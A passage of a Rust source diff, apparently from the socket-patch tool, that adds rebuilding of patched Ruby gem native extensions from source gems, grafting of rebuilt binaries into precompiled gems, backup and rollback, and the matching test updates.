gem copy at +/// `pkg_path`. A build input `apply` added to a precompiled copy that never +/// shipped it ([`files_for_precompiled`]; the copy's backup lists them) is +/// removed, not restored to the content it has in the source gem. Any +/// other copy: `files` as they are. +pub async fn rollback_files( + pkg_path: &Path, + files: &HashMap, +) -> HashMap { + let mut out = files.clone(); + let Some(copy) = GemCopy::of(pkg_path) else { + return out; + }; + let info = crate::utils::fs::run_blocking(move || { + let backup = copy.gem_dir.join(BACKUP_DIR); + if is_symlink(&backup) { + return None; + } + let bytes = read_regular_to_bytes_sync(&backup.join(BACKUP_INFO)).ok()?; + serde_json::from_slice::(&bytes).ok() + }) + .await; + let Some(info) = info.filter(|info| info.grafted) else { + return out; + }; + for (key, file) in out.iter_mut() { + if info + .absent_files + .iter() + .any(|path| path == normalize_file_path(key)) + { + file.before_hash.clear(); + } + } + out +} + +/// `name` of a `name-version[-platform]` dir, for the `gem pristine` hint: +/// the first `-` followed by a digit starts the version (gem names rarely +/// hold one). +fn gem_name_of(full_name: &str) -> &str { + let bytes = full_name.as_bytes(); + (0..bytes.len()) + .find(|&i| bytes[i] == b'-' && bytes.get(i + 1).is_some_and(u8::is_ascii_digit)) + .map_or(full_name, |i| &full_name[..i]) +} + +fn refusal(package_key: &str, pkg_path: &Path, code: &str, detail: String) -> GemApplied { + GemApplied { + result: ApplyResult { + package_key: package_key.to_string(), + package_path: pkg_path.display().to_string(), + success: false, + files_verified: Vec::new(), + files_patched: Vec::new(), + applied_via: HashMap::new(), + error: Some(format!("{code}: {detail}")), + sidecar: None, + }, + warning: Some((code.to_string(), detail)), + } +} + +fn list_inputs(scope: &NativeScope) -> String { + let shown: Vec<&str> = scope + .inputs + .iter() + .take(3) + .map(|k| normalize_file_path(k)) + .collect(); + let more = scope.inputs.len().saturating_sub(shown.len()); + if more > 0 { + format!("{} and {more} more", shown.join(", ")) + } else { + shown.join(", ") + } +} + +/// [`apply_package_patch`] over a gem copy, with no warning of its own. +async fn plain_apply( + read_scope: crate::utils::repo_root::ReadScope, + package_key: &str, + pkg_path: &Path, + files: &HashMap, + sources: &PatchSources<'_>, + dry_run: bool, + policy: MismatchPolicy, +) -> GemApplied { + GemApplied { + result: apply_package_patch( + read_scope, + package_key, + pkg_path, + files, + sources, + dry_run, + policy, + ) + .await, + warning: None, + } +} + +/// One gem copy's record, verified against the copy and about to be built. +struct Job<'a> { + read_scope: crate::utils::repo_root::ReadScope, + package_key: &'a str, + pkg_path: &'a Path, + /// The record's files. + files: &'a HashMap, + /// The record as the installed copy takes it + /// ([`files_for_precompiled`]). + installed_files: &'a HashMap, + sources: &'a PatchSources<'a>, + policy: MismatchPolicy, + env: &'a RubyEnv, + copy: &'a GemCopy, + scope: &'a NativeScope, + /// [`list_inputs`] of the scope, for the messages. + inputs: &'a str, +} + +impl Job<'_> { + fn refuse(&self, code: &str, detail: String) -> GemApplied { + refusal(self.package_key, self.pkg_path, code, detail) + } + + /// The bytes each record file holds now, to put back if what follows + /// fails. + async fn originals(&self) -> Vec<(String, Option>)> { + let keys: Vec = self.files.keys().cloned().collect(); + let dir = self.pkg_path.to_path_buf(); + crate::utils::fs::run_blocking(move || { + keys.into_iter() + .filter(|k| is_safe_relative_subpath(normalize_file_path(k))) + .map(|k| { + let bytes = read_regular_to_bytes_sync(&dir.join(normalize_file_path(&k))).ok(); + (k, bytes) + }) + .collect() + }) + .await + } + + /// Write the record's patched files into the installed copy. A write + /// that fails is undone here: the result then lists nothing as patched. + async fn write_sources(&self, originals: &[(String, Option>)]) -> ApplyResult { + let mut result = apply_package_patch( + self.read_scope, + self.package_key, + self.pkg_path, + self.installed_files, + self.sources, + false, + self.policy, + ) + .await; + if !result.success { + revert_sources(self.pkg_path, originals, &result.files_patched).await; + result.files_patched.clear(); + result.applied_via.clear(); + } + result + } + + /// The outcome of a copy whose sources are written and whose compiled + /// code was built from them. + fn built(&self, result: ApplyResult) -> GemApplied { + let warning = result.files_patched.is_empty().then(|| { + ( + REBUILT_CODE.to_string(), + format!( + "{}: its native extension was rebuilt from sources an earlier run \ + patched without rebuilding ({})", + self.package_key, self.inputs + ), + ) + }); + GemApplied { result, warning } + } + + /// The outcome of a copy that is as it was before the run, because + /// `detail` (a [`BUILD_FAILED_CODE`] failure). + async fn not_built( + &self, + mut result: ApplyResult, + originals: &[(String, Option>)], + detail: String, + ) -> GemApplied { + revert_sources(self.pkg_path, originals, &result.files_patched).await; + result.success = false; + result.files_patched.clear(); + result.applied_via.clear(); + result.error = Some(format!("{BUILD_FAILED_CODE}: {detail}")); + GemApplied { + result, + warning: Some((BUILD_FAILED_CODE.to_string(), detail)), + } + } +} + +/// The remedy a refusal names for a gem RubyGems built at install time: +/// hosted mode installs the patched ruby-platform gem. +const HOSTED_HINT: &str = "Use `socket-patch scan --mode hosted`, which installs the patched gem \ + through Bundler so RubyGems compiles it."; + +/// [`apply_package_patch`] for one installed gem copy, rebuilding its +/// native extension when the record changes a build input (see the module +/// docs). A record without native inputs is applied exactly as +/// [`apply_package_patch`] applies it. +#[allow(clippy::too_many_arguments)] pub async fn apply_gem_package_patch( read_scope: crate::utils::repo_root::ReadScope, package_key: &str, @@ -1603,23 +3080,17 @@ pub async fn apply_gem_package_patch( env: &RubyEnv, ) -> GemApplied { let (scope, copy) = scope_of(pkg_path, files).await; - let plain = || async { - GemApplied { - result: apply_package_patch( - read_scope, - package_key, - pkg_path, - files, - sources, - dry_run, - policy, - ) - .await, - warning: None, - } - }; if scope.inputs.is_empty() { - return plain().await; + return plain_apply( + read_scope, + package_key, + pkg_path, + files, + sources, + dry_run, + policy, + ) + .await; } let inputs = list_inputs(&scope); // A rebuild of this copy that an earlier run started and did not finish @@ -1645,7 +3116,16 @@ pub async fn apply_gem_package_patch( // (the patches evaluation harness does), so the sources are written as // before #1996, and the warning says the build is the caller's. if !env.rebuild { - let mut applied = plain().await; + let mut applied = plain_apply( + read_scope, + package_key, + pkg_path, + files, + sources, + dry_run, + policy, + ) + .await; if applied.result.success { applied.warning = Some(( NOT_REBUILT_REASON.to_string(), @@ -1658,8 +3138,6 @@ pub async fn apply_gem_package_patch( } return applied; } - let hosted_hint = "Use `socket-patch scan --mode hosted`, which installs the patched gem \ - through Bundler so RubyGems compiles it."; let Some(copy) = copy else { return refusal( package_key, @@ -1668,24 +3146,43 @@ pub async fn apply_gem_package_patch( format!( "the patch changes native-extension sources ({inputs}), but {} is not a \ RubyGems install with a specification to rebuild the extension from; \ - nothing was written. {hosted_hint}", + nothing was written. {HOSTED_HINT}", pkg_path.display() ), ); }; - if !scope.builds_extensions { + if !scope.builds_extensions && scope.precompiled.is_none() { + return refusal( + package_key, + pkg_path, + UNSUPPORTED_CODE, + format!( + "the patch changes native-extension sources ({inputs}), but the installed gem \ + builds no extension at install time and is not a precompiled platform gem, \ + so nothing here compiles them and they cannot take effect; nothing was \ + written." + ), + ); + } + if let Some(platform) = scope.precompiled.as_deref().filter(|p| is_java_platform(p)) { return refusal( package_key, pkg_path, UNSUPPORTED_CODE, format!( "the patch changes native-extension sources ({inputs}), but the installed gem \ - builds no extension at install time (a precompiled platform gem ships its \ - compiled code), so they cannot take effect; nothing was written. Install the \ - `ruby` platform gem and use `socket-patch scan --mode hosted`." + is the JRuby build ({platform}), whose compiled code ships as jars built from \ + Java sources; they cannot be rebuilt from the source gem here, so the patch \ + cannot take effect; nothing was written." ), ); } + let precompiled = scope.precompiled.is_some(); + let (installed_files, absent) = if precompiled { + files_for_precompiled(©, &scope, files).await + } else { + (files.clone(), Vec::new()) + }; // Already patched and built from these sources: nothing to do. let built = { @@ -1696,9 +3193,25 @@ pub async fn apply_gem_package_patch( .await }; if built { - return plain().await; + return plain_apply( + read_scope, + package_key, + pkg_path, + &installed_files, + sources, + dry_run, + policy, + ) + .await; } + // A gem RubyGems built can also be installed patched through hosted + // mode; a precompiled one cannot (hosted mode refuses platform gems). + let hint = if precompiled { + String::new() + } else { + format!(" {HOSTED_HINT}") + }; let unbuildable = |why: String| { refusal( package_key, @@ -1707,15 +3220,73 @@ pub async fn apply_gem_package_patch( format!( "the patch changes native-extension sources ({inputs}), which only take \ effect once the extension is rebuilt, and it cannot be rebuilt here: \ - {why}; nothing was written. {hosted_hint}" + {why}; nothing was written.{hint}" ), ) }; // What files alone tell: a build to replace and a Ruby to try. - let preflight = match rebuild_preflight(©, env).await { + let preflight = if precompiled { + graft_preflight(©, env).await + } else { + rebuild_preflight(©, env).await + }; + let preflight = match preflight { Ok(p) => p, Err(why) => return unbuildable(why), }; + // A precompiled gem's extension can only be rebuilt from the source gem + // of its version. Without that archive in the gem home's cache and + // without the network, files alone tell there is no way to it. + let gems = GemSource::of(&env.cwd, env.offline).await; + let source = scope.source_gem(); + let needs_source_gem = |source: Option<&GemId>, why: String, missing: bool| { + let archive = match source { + Some(source) => format!("{}.gem", source.full_name()), + None => "its ruby-platform gem".to_string(), + }; + let remedy = if missing { + format!( + " Run `socket-patch apply` once with network access to the gem's source, or \ + put {archive} in {}.", + copy.home.join("cache").display() + ) + } else { + String::new() + }; + refusal( + package_key, + pkg_path, + UNSUPPORTED_CODE, + format!( + "the patch changes native-extension sources ({inputs}) of the precompiled gem \ + {}, which only take effect once its extension is rebuilt from the source gem \ + ({archive}), and that cannot be done here: {why}; nothing was written.{remedy}", + copy.full_name + ), + ) + }; + if precompiled { + let Some(source) = &source else { + return needs_source_gem( + None, + format!( + "{} does not name the gem and version it was installed from", + copy.spec_path.display() + ), + false, + ); + }; + if !gems.may_have(©.home, source).await { + return needs_source_gem( + Some(source), + format!( + "{} is not there and this run is offline", + crate::patch::gem_source::cache_path(©.home, source).display() + ), + true, + ); + } + } // No program runs until the record's files verify against this copy: // until then nothing says the tree is the package the patch is for. @@ -1724,7 +3295,7 @@ pub async fn apply_gem_package_patch( read_scope, package_key, pkg_path, - files, + &installed_files, sources, true, policy, @@ -1747,27 +3318,39 @@ pub async fn apply_gem_package_patch( .files_verified .iter() .all(|v| v.status == crate::patch::apply::VerifyStatus::AlreadyPatched); - let parked = preflight - .installed - .iter() - .any(|dir| is_real_dir(&parked_build_path(dir))); + let parked = !precompiled + && preflight + .installed + .iter() + .any(|dir| is_real_dir(&parked_build_path(dir))); let unfinished = if parked { "; an earlier rebuild did not finish, and apply first puts back the build it parked" } else { "" }; - let detail = if all_patched { - format!( + let detail = match (all_patched, precompiled) { + (true, false) => format!( "{package_key}: dry run: its sources are already patched, but its native \ extension was not built from them ({inputs}); apply would rebuild \ it{unfinished}" - ) - } else { - format!( + ), + (false, false) => format!( "{package_key}: dry run: apply would write its patched sources and rebuild \ its native extension from them ({inputs}); no Ruby was run to check that \ it can{unfinished}" - ) + ), + (true, true) => format!( + "{package_key}: dry run: its sources are already patched, but the gem's \ + precompiled extension was not built from them ({inputs}); apply would \ + rebuild it from the source gem and replace the prebuilt binary with that \ + build" + ), + (false, true) => format!( + "{package_key}: dry run: apply would write its patched sources, rebuild its \ + native extension from the source gem and replace the gem's prebuilt binary \ + with that build ({inputs}); no Ruby was run and nothing was downloaded to \ + check that it can" + ), }; return GemApplied { result: verified, @@ -1775,77 +3358,282 @@ pub async fn apply_gem_package_patch( }; } - let probe = match find_ruby(©, env, preflight).await { + let found = match &scope.precompiled { + Some(platform) => find_platform_ruby(©, env, preflight, platform).await, + None => find_ruby(©, env, preflight).await, + }; + let probe = match found { Ok(p) => p, Err(why) => return unbuildable(why), }; - - // The bytes each file holds now, to put back if the build fails. - let originals: Vec<(String, Option>)> = { - let keys: Vec = files.keys().cloned().collect(); - let dir = pkg_path.to_path_buf(); - crate::utils::fs::run_blocking(move || { - keys.into_iter() - .filter(|k| is_safe_relative_subpath(normalize_file_path(k))) - .map(|k| { - let bytes = read_regular_to_bytes_sync(&dir.join(normalize_file_path(&k))).ok(); - (k, bytes) - }) - .collect() - }) - .await - }; - - let mut result = apply_package_patch( + let job = Job { read_scope, package_key, pkg_path, files, + installed_files: &installed_files, sources, - false, policy, - ) - .await; + env, + copy: ©, + scope: &scope, + inputs: &inputs, + }; + + // The source gem holds every build input, where the installed copy may + // not (a build deletes what it no longer needs; a precompiled gem never + // shipped them): the extension is rebuilt from it when it can be had. + let archive = match &source { + Some(source) => gems.archive(©.home, source).await, + None => Err(format!( + "{} does not name the gem and version it was installed from", + copy.spec_path.display() + )), + }; + match (archive, &source) { + (Ok(archive), Some(source)) => { + match rebuild_from_source_gem(&job, &probe, source, archive, &gems, &absent).await { + Ok(applied) => applied, + Err(why) if precompiled => needs_source_gem(Some(source), why, false), + // Not an archive this copy can be rebuilt from: its own + // tree is what is left to build. + Err(_) => rebuild_in_place(&job, &probe).await, + } + } + (Err(why), _) if precompiled => needs_source_gem(source.as_ref(), why, true), + _ => rebuild_in_place(&job, &probe).await, + } +} + +/// Write the patched sources and rebuild the extension from the installed +/// copy's own tree ([`rebuild`]): what is left when its source gem cannot +/// be had. A failed build puts the sources and the previous build back. +async fn rebuild_in_place(job: &Job<'_>, probe: &Probe) -> GemApplied { + let originals = job.originals().await; + let result = job.write_sources(&originals).await; if !result.success { - revert_sources(pkg_path, &originals, &result.files_patched).await; - result.files_patched.clear(); - result.applied_via.clear(); return GemApplied { result, warning: None, }; } - - match rebuild(©, &probe, &scope, files, env, true).await { - Ok(()) => { - let warning = result.files_patched.is_empty().then(|| { - ( - REBUILT_CODE.to_string(), - format!( - "{}: its native extension was rebuilt from sources an earlier run \ - patched without rebuilding ({inputs})", - package_key - ), - ) - }); - GemApplied { result, warning } - } + match rebuild(job.copy, probe, job.scope, job.files, job.env, true).await { + Ok(()) => job.built(result), Err(diagnostic) => { - revert_sources(pkg_path, &originals, &result.files_patched).await; let detail = format!( - "the native extension did not build from the patched sources ({inputs}); the \ + "the native extension did not build from the patched sources ({}); the \ sources and the previous build were put back. Install a compiler toolchain \ and the Ruby headers and apply again, or use `socket-patch scan --mode \ - hosted`.\n{diagnostic}" + hosted`.\n{diagnostic}", + job.inputs ); - result.success = false; - result.files_patched.clear(); - result.applied_via.clear(); - result.error = Some(format!("{BUILD_FAILED_CODE}: {detail}")); - GemApplied { - result, - warning: Some((BUILD_FAILED_CODE.to_string(), detail)), - } + job.not_built(result, &originals, detail).await + } + } +} + +/// Rebuild the copy's extension from its source gem (`archive`, the gem +/// `source`), with the record's files laid over it in a stage, and put the +/// build in the installed copy's place. The installed copy is not touched +/// until the build has finished. `Err` when the archive is not one the +/// copy can be rebuilt from (it is another gem, or declares no +/// extensions): nothing was built or written. +async fn rebuild_from_source_gem( + job: &Job<'_>, + probe: &Probe, + source: &GemId, + archive: Vec, + gems: &GemSource, + absent: &[String], +) -> Result { + let stage = { + let copy = job.copy.clone(); + crate::utils::fs::run_blocking(move || open_stage(©)).await + }; + let stage = match stage { + Ok(stage) => stage, + Err(why) => { + return Ok(job.refuse( + UNSUPPORTED_CODE, + format!( + "the patch changes native-extension sources ({}), which only take effect \ + once the extension is rebuilt, and it cannot be rebuilt here: {why}; \ + nothing was written.", + job.inputs + ), + )) + } + }; + let outcome = rebuild_in_stage(job, probe, source, archive, gems, absent, &stage).await; + close_stage(stage, job.copy).await; + outcome +} + +/// [`rebuild_from_source_gem`], inside its open stage. +async fn rebuild_in_stage( + job: &Job<'_>, + probe: &Probe, + source: &GemId, + archive: Vec, + gems: &GemSource, + absent: &[String], + stage: &Stage, +) -> Result { + let (copy, inputs) = (job.copy, job.inputs); + let staged = unpack_in_stage(copy, probe, source, archive, stage, job.env).await?; + // The record over the pristine source gem, before anything runs. + let blobs = stage_blobs(job.pkg_path, job.files, job.sources).await; + let staged_sources = PatchSources { + blobs_path: job.sources.blobs_path, + mem_blobs: Some(&blobs), + }; + let patched = patch_staged_gem( + job.read_scope, + job.package_key, + &staged, + job.scope, + job.files, + &staged_sources, + ) + .await; + if let Err(why) = patched { + return Ok(job.refuse( + UNSUPPORTED_CODE, + format!( + "the patch changes native-extension sources ({inputs}), which only take \ + effect once the extension is rebuilt from the source gem ({}.gem), and the \ + patch does not apply to that gem: {why}; nothing was written.", + source.full_name() + ), + )); + } + let built = match build_staged(copy, probe, source, staged, stage, gems, job.env).await { + Ok(built) => built, + Err(StageFailure::Dependencies(why)) => { + return Ok(job.refuse( + UNSUPPORTED_CODE, + format!( + "the patch changes native-extension sources ({inputs}), which only take \ + effect once the extension is rebuilt, and it cannot be rebuilt here: \ + {why}; nothing was written." + ), + )) + } + Err(StageFailure::Build(diagnostic)) => { + let detail = format!( + "the native extension did not build from the patched sources ({inputs}); \ + nothing of the installed gem was changed. Install a compiler toolchain and \ + the Ruby headers and apply again.\n{diagnostic}" + ); + return Ok(job.refuse(BUILD_FAILED_CODE, detail)); + } + }; + + if job.scope.precompiled.is_some() { + return Ok(graft_into_copy(job, probe, &built, absent).await); + } + // A gem RubyGems built: its sources are written in place, and the + // staged build takes the place of its extension dir. + let originals = job.originals().await; + let result = job.write_sources(&originals).await; + if !result.success { + return Ok(GemApplied { + result, + warning: None, + }); + } + let installed = { + let (copy, probe, scope) = (copy.clone(), probe.clone(), job.scope.clone()); + let (files, built) = (job.files.clone(), built.clone()); + crate::utils::fs::run_blocking(move || { + install_staged_build(©, &probe, &scope, &files, &built, true) + }) + .await + }; + Ok(match installed { + Ok(()) => job.built(result), + Err(why) => { + let detail = format!( + "the native extension was rebuilt from the patched sources ({inputs}), but \ + {why}; the sources and the previous build were put back." + ); + job.not_built(result, &originals, detail).await + } + }) +} + +/// Put a staged build into a precompiled copy: the record's files are +/// written into the copy, and each prebuilt binary Ruby loads is replaced +/// by the build's ([`plan_graft`]), after the originals are backed up. A +/// step that fails leaves the copy as it was. +async fn graft_into_copy( + job: &Job<'_>, + probe: &Probe, + built: &StagedBuild, + absent: &[String], +) -> GemApplied { + let (copy, inputs) = (job.copy, job.inputs); + let planned = { + let (copy, probe, built) = (copy.clone(), probe.clone(), built.clone()); + crate::utils::fs::run_blocking(move || plan_graft(©, &probe, &built)).await + }; + let unplaceable = |why: String| { + job.refuse( + UNSUPPORTED_CODE, + format!( + "the patch changes native-extension sources ({inputs}) of the precompiled gem \ + {}, and its extension was rebuilt from the source gem, but the build cannot \ + take the place of the gem's prebuilt binary: {why}; nothing was written.", + copy.full_name + ), + ) + }; + let grafts = match planned { + Ok(grafts) => grafts, + Err(why) => return unplaceable(why), + }; + let made_backup = { + let (copy, grafts, absent) = (copy.clone(), grafts.clone(), absent.to_vec()); + crate::utils::fs::run_blocking(move || back_up_prebuilt(©, &grafts, &absent)).await + }; + let made_backup = match made_backup { + Ok(made) => made, + Err(e) => { + let stage = copy.gem_dir.join(format!("{BACKUP_DIR}.tmp")); + let _ = crate::utils::fs::run_blocking(move || remove_dir_if_exists(&stage)).await; + return unplaceable(format!("the prebuilt binary could not be backed up ({e})")); + } + }; + let drop_new_backup = || async { + if made_backup { + let backup = copy.gem_dir.join(BACKUP_DIR); + let _ = crate::utils::fs::run_blocking(move || remove_dir_if_exists(&backup)).await; + } + }; + let originals = job.originals().await; + let result = job.write_sources(&originals).await; + if !result.success { + drop_new_backup().await; + return GemApplied { + result, + warning: None, + }; + } + let grafted = { + let (copy, scope) = (copy.clone(), job.scope.clone()); + let (files, grafts) = (job.files.clone(), grafts.clone()); + crate::utils::fs::run_blocking(move || graft_binaries(©, &scope, &files, &grafts)).await + }; + match grafted { + Ok(()) => job.built(result), + Err(e) => { + drop_new_backup().await; + let detail = format!( + "the native extension was rebuilt from the patched sources ({inputs}), but \ + the build could not replace the gem's prebuilt binary ({e}); the sources and \ + the prebuilt binary were put back." + ); + job.not_built(result, &originals, detail).await } } } @@ -1877,10 +3665,14 @@ async fn revert_sources( /// After `rollback` put a gem copy's sources back: put its original compiled /// extension back too. The backup [`apply_gem_package_patch`] took is -/// restored whenever it exists: it is this gem version's install-time build, -/// right whether the current build is socket-patch's (marker present) or one +/// restored whenever it exists: it is this gem version's install-time build +/// (for a precompiled copy, the prebuilt binaries the gem shipped), right +/// whether the current build is socket-patch's (marker present) or one /// whose marker never got written. Without a backup, a copy carrying a -/// socket-patch build (a marker) is rebuilt from the restored sources. +/// socket-patch build (a marker) is rebuilt from the restored sources: from +/// its source gem when that can be had, else in place. A precompiled copy +/// without its backup is not rebuilt (that would not give the prebuilt +/// binaries back): the error names `gem pristine`, which reinstalls them. /// A rebuild an earlier run did not finish is put right first /// ([`recover_interrupted_rebuild`]), so the build parked by it is back /// before any of that. `Ok(true)` when a build was restored, `Ok(false)` @@ -1921,8 +3713,15 @@ pub async fn restore_original_build(pkg_path: &Path, env: &RubyEnv) -> Result Result rebuilt, + None => { + let scope = NativeScope::default(); + rebuild(©, &probe, &scope, &HashMap::new(), env, false).await + } + }; + rebuilt.map_err(|diagnostic| { + format!( + "the extension did not rebuild from the restored sources; run `gem pristine \ + {} --extensions`.\n{diagnostic}", + gem_name_of(©.full_name) + ) + })?; let _ = tokio::fs::remove_file(copy.gem_dir.join(MARKER_FILE)).await; Ok(true) } +/// Rebuild `copy`'s extension from its source gem as it shipped (no record +/// over it), for a rollback that has no backup of the original build. +/// `None` when the source gem cannot be had or used: the in-place rebuild +/// is what is left. +async fn rebuild_unpatched_from_source_gem( + copy: &GemCopy, + probe: &Probe, + env: &RubyEnv, +) -> Option> { + let spec_text = crate::utils::fs::read_regular_to_string(©.spec_path) + .await + .ok()?; + let facts = SpecFacts::of(&spec_text, ©.full_name); + let source = facts.release.filter(|_| facts.extensions.declared)?; + let gems = GemSource::of(&env.cwd, env.offline).await; + let archive = gems.archive(©.home, &source).await.ok()?; + let stage = { + let copy = copy.clone(); + crate::utils::fs::run_blocking(move || open_stage(©)).await + }; + let stage = match stage { + Ok(stage) => stage, + Err(why) => return Some(Err(why)), + }; + let outcome = async { + let staged = unpack_in_stage(copy, probe, &source, archive, &stage, env) + .await + .ok()?; + let built = match build_staged(copy, probe, &source, staged, &stage, &gems, env).await { + Ok(built) => built, + Err(StageFailure::Dependencies(why) | StageFailure::Build(why)) => { + return Some(Err(why)) + } + }; + let (copy, probe) = (copy.clone(), probe.clone()); + Some( + crate::utils::fs::run_blocking(move || { + let scope = NativeScope::default(); + install_staged_build(©, &probe, &scope, &HashMap::new(), &built, false) + }) + .await, + ) + } + .await; + close_stage(stage, copy).await; + outcome +} + /// Put the backed-up original build back over socket-patch's build, then -/// drop the marker and the backup. The extension dir the backup names must -/// be this gem's under the home ([`confined_ext_dir`]) and no symlink, or -/// nothing is touched. +/// drop the marker and the backup. For a gem RubyGems built, the extension +/// dir the backup names must be this gem's under the home +/// ([`confined_ext_dir`]) and no symlink, or nothing is touched. For a +/// precompiled copy the backup holds its prebuilt binaries, which go back +/// where they were under the gem dir, bytes and mode. fn restore_backup(copy: &GemCopy, marker: Option<&BuildMarker>) -> std::io::Result<()> { let backup = copy.gem_dir.join(BACKUP_DIR); let info: BackupInfo = serde_json::from_slice(&read_regular_to_bytes_sync(&backup.join(BACKUP_INFO))?) .map_err(std::io::Error::other)?; - let ext_dir = confined_ext_dir(copy, &info.extension_dir) - .filter(|dir| !is_symlink(dir)) - .ok_or_else(|| { - std::io::Error::new( - std::io::ErrorKind::InvalidData, - format!( - "the backup names {:?}, which is not this gem's extension dir under {}", - info.extension_dir, - copy.home.display() - ), - ) - })?; - // socket-patch's lib copies go; the originals come back. - for lib in marker.iter().flat_map(|m| m.lib_artifacts.keys()) { - if is_safe_relative_subpath(lib) && !info.lib_files.contains(lib) { - let _ = std::fs::remove_file(copy.gem_dir.join(lib)); + let restore_lib_files = || -> std::io::Result<()> { + for lib in &info.lib_files { + if !is_safe_relative_subpath(lib) { + continue; + } + let saved = backup.join("lib").join(lib); + let bytes = read_regular_to_bytes_sync(&saved)?; + let perms = std::fs::symlink_metadata(&saved)?.permissions(); + replace_file(©.gem_dir.join(lib), |stage| { + std::fs::write(stage, &bytes)?; + // The mode the backup kept (a prebuilt binary's); a backup + // of `lib/` copies was written with the default one. + if info.grafted { + std::fs::set_permissions(stage, perms)?; + } + Ok(()) + })?; } - } - remove_dir_if_exists(&ext_dir)?; - if info.had_extension_dir { - copy_tree_sync(&backup.join("ext"), &ext_dir)?; - } - for lib in &info.lib_files { - if !is_safe_relative_subpath(lib) { - continue; + Ok(()) + }; + if info.grafted { + restore_lib_files()?; + } else { + let ext_dir = confined_ext_dir(copy, &info.extension_dir) + .filter(|dir| !is_symlink(dir)) + .ok_or_else(|| { + std::io::Error::new( + std::io::ErrorKind::InvalidData, + format!( + "the backup names {:?}, which is not this gem's extension dir under {}", + info.extension_dir, + copy.home.display() + ), + ) + })?; + // socket-patch's lib copies go; the originals come back. + for lib in marker.iter().flat_map(|m| m.lib_artifacts.keys()) { + if is_safe_relative_subpath(lib) && !info.lib_files.contains(lib) { + let _ = std::fs::remove_file(copy.gem_dir.join(lib)); + } } - let bytes = read_regular_to_bytes_sync(&backup.join("lib").join(lib))?; - replace_file(©.gem_dir.join(lib), |stage| { - std::fs::write(stage, &bytes) - })?; + remove_dir_if_exists(&ext_dir)?; + if info.had_extension_dir { + copy_tree_sync(&backup.join("ext"), &ext_dir)?; + } + restore_lib_files()?; } match std::fs::remove_file(copy.gem_dir.join(MARKER_FILE)) { Err(e) if e.kind() != std::io::ErrorKind::NotFound => return Err(e), @@ -2021,6 +3890,19 @@ mod tests { .collect() } + /// What the gemspec of a gem RubyGems builds says: the `ruby` platform, + /// `lib` as its require path, and `scripts` as its extensions. + fn built_gem(scripts: &[&str]) -> SpecFacts { + SpecFacts { + extensions: ExtensionDecl { + declared: true, + entries: scripts.iter().map(|s| s.to_string()).collect(), + }, + require_paths: vec!["lib".to_string()], + ..SpecFacts::default() + } + } + #[test] fn parses_to_ruby_extensions() { let spec = "Gem::Specification.new do |s|\n s.name = \"json\".freeze\n \ @@ -2078,10 +3960,7 @@ mod tests { #[test] fn classify_counts_files_under_declared_script_dirs() { - let decl = ExtensionDecl { - declared: true, - entries: vec!["ext/foo/Cargo.toml".into()], - }; + let decl = built_gem(&["ext/foo/Cargo.toml"]); let scope = classify( &decl, &files(&["ext/foo/src/lib.rs", "lib/foo.rb", "package/ext/foo/x.c"]), @@ -2096,12 +3975,12 @@ mod tests { #[test] fn classify_without_extensions_keeps_c_but_drops_grammars() { let scope = classify( - &ExtensionDecl::default(), + &SpecFacts::default(), &files(&["lib/parser.y", "lib/parser.rb", "ext/x.c"]), ); assert_eq!(scope.inputs, vec!["ext/x.c"]); assert!(!scope.builds_extensions); - let ruby_only = classify(&ExtensionDecl::default(), &files(&["lib/parser.y"])); + let ruby_only = classify(&SpecFacts::default(), &files(&["lib/parser.y"])); assert!(ruby_only.inputs.is_empty()); } @@ -2110,7 +3989,7 @@ mod tests { #[test] fn classify_without_extensions_ignores_c_outside_ext() { let scope = classify( - &ExtensionDecl::default(), + &SpecFacts::default(), &files(&["lib/templates/App.m", "test/fixtures/a.c", "lib/a.h"]), ); assert!(scope.inputs.is_empty()); @@ -2119,10 +3998,7 @@ mod tests { /// A root-level script makes the files beside it inputs, not `lib/`. #[test] fn classify_root_level_script_counts_top_level_files_only() { - let decl = ExtensionDecl { - declared: true, - entries: vec!["extconf.rb".into()], - }; + let decl = built_gem(&["extconf.rb"]); let scope = classify(&decl, &files(&["extconf.rb", "foo.c", "lib/foo.rb"])); assert_eq!(scope.inputs, vec!["extconf.rb", "foo.c"]); } @@ -2148,10 +4024,7 @@ mod tests { #[test] fn unknown_scripts_make_ext_tree_native() { - let decl = ExtensionDecl { - declared: true, - entries: Vec::new(), - }; + let decl = built_gem(&[]); let scope = classify(&decl, &files(&["ext/foo/build.rs", "lib/a.rb"])); assert_eq!(scope.inputs, vec!["ext/foo/build.rs"]); } @@ -2308,6 +4181,7 @@ mod tests { let env = RubyEnv { cwd: tmp.path().to_path_buf(), rebuild: true, + offline: true, }; let mut preflight = Preflight { installed: installed_extension_dirs(©), @@ -2344,6 +4218,7 @@ mod tests { let env = RubyEnv { cwd: tmp.path().to_path_buf(), rebuild: true, + offline: true, }; for require_path in ["../../elsewhere", "/abs"] { let home = tmp.path().join(require_path.replace(['/', '.'], "_")); @@ -2372,6 +4247,7 @@ mod tests { let env = RubyEnv { cwd: tmp.path().to_path_buf(), rebuild: true, + offline: true, }; // Without a `ruby` on PATH the preflight still refuses, for that. match rebuild_preflight(©, &env).await { @@ -2493,6 +4369,7 @@ mod tests { extension_dir: ext.clone(), require_path: "lib".to_string(), lib_dir: copy.gem_dir.join("lib"), + facts: None, }; let aside = set_aside(©, &probe).unwrap(); @@ -2567,6 +4444,7 @@ mod tests { extension_dir: "extensions/p/3.4.0/a-1".into(), had_extension_dir: true, lib_files: vec!["lib/a/a.so".into()], + ..BackupInfo::default() }; std::fs::write(backup.join(BACKUP_INFO), serde_json::to_vec(&info).unwrap()).unwrap(); if with_marker { @@ -2604,6 +4482,7 @@ mod tests { extension_dir: label, had_extension_dir: true, lib_files: Vec::new(), + ..BackupInfo::default() }; std::fs::write( gem_dir.join(BACKUP_DIR).join(BACKUP_INFO), @@ -2613,6 +4492,7 @@ mod tests { let env = RubyEnv { cwd: home.clone(), rebuild: true, + offline: true, }; assert!(restore_original_build(&gem_dir, &env).await.is_err()); assert!( @@ -2639,6 +4519,7 @@ mod tests { let env = RubyEnv { cwd: home.clone(), rebuild: true, + offline: true, }; let restored = tokio::time::timeout( std::time::Duration::from_secs(10), @@ -2663,6 +4544,7 @@ mod tests { let env = RubyEnv { cwd: home.to_path_buf(), rebuild: true, + offline: true, }; assert_eq!(restore_original_build(&gem_dir, &env).await, Ok(true)); let ext = home.join("extensions/p/3.4.0/a-1"); @@ -2705,6 +4587,7 @@ mod tests { let scope = NativeScope { inputs: vec!["ext/a/a.c".into()], builds_extensions: true, + ..NativeScope::default() }; let marker = BuildMarker { schema: MARKER_SCHEMA, @@ -2712,6 +4595,7 @@ mod tests { 